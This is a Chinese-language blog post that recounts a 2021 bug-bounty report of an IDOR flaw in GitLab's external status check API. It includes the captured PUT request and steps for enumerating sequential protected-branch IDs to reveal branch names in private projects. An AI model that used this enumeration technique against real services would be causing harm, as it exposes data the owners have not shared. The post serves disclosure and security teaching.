gitlab漏洞系列-私有项目分支名称泄露

gitlab漏洞系列-私有项目分支名称泄露

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

背景
白帽小哥ashish_r_padelkar在2021年8月份的时候上报了这个漏洞: 在添加新的状态检查时,gitlab.com https://gitlab.com/<GroupName>/<ProjectName>/edit在合并请求部分命名为状态检查, 这个请求易收到IDOR攻击,可以替换分支的id即可设置/获取它们的名称,即使它们是私人项目中的,如果这些id是连续的,可以轻松地批量获取名称。

复现步骤
1.以项目维护人员的身份登录并访问https://gitlab.com/<GroupName>/<ProjectName>/edit的合并请求部分,单击添加状态检查按钮。

2.添加输入。(也允许添加本地主机url,请注意,因为通常gitlab是不允许localhost url)。在分支下拉菜单中选择你的分支并添加。捕获请求如下所示。

PUT /api/v4/projects/23887195/external_status_checks/50 HTTP/2  
Host: gitlab.com  
Cookie: 1  
Content-Length: 120  
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"  
Accept: application/json, text/plain, */*  
X-Csrf-Token: 1  
X-Requested-With: XMLHttpRequest  
Sec-Ch-Ua-Mobile: ?0  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36  
Content-Type: application/json;charset=UTF-8  
Origin: https://gitlab.com  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://gitlab.com/privategroup4321/githubimport/edit  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close

{"external_url":"http://127.0.0.1/","id":50,"name":"Anything","protected_branch_ids":[41438448]}  

3.只需将上述请求中的protected_branch_ids的值替换为任何受保护的分支ID,这些分支ID可能属于你无法访问的私有项目。这些id是连续的。

4.发送请求,可以在响应和UI中看到受保护的分支名称。

5.通过这种方式,你可以获得任何项目的受保护的分支名称,而不必考虑它们的可见性!

影响
能够获取私有项目的受保护分支名称,并使用它们创建状态检查。



作者:richardo1o1


欢迎关注微信公众号 :迪哥讲事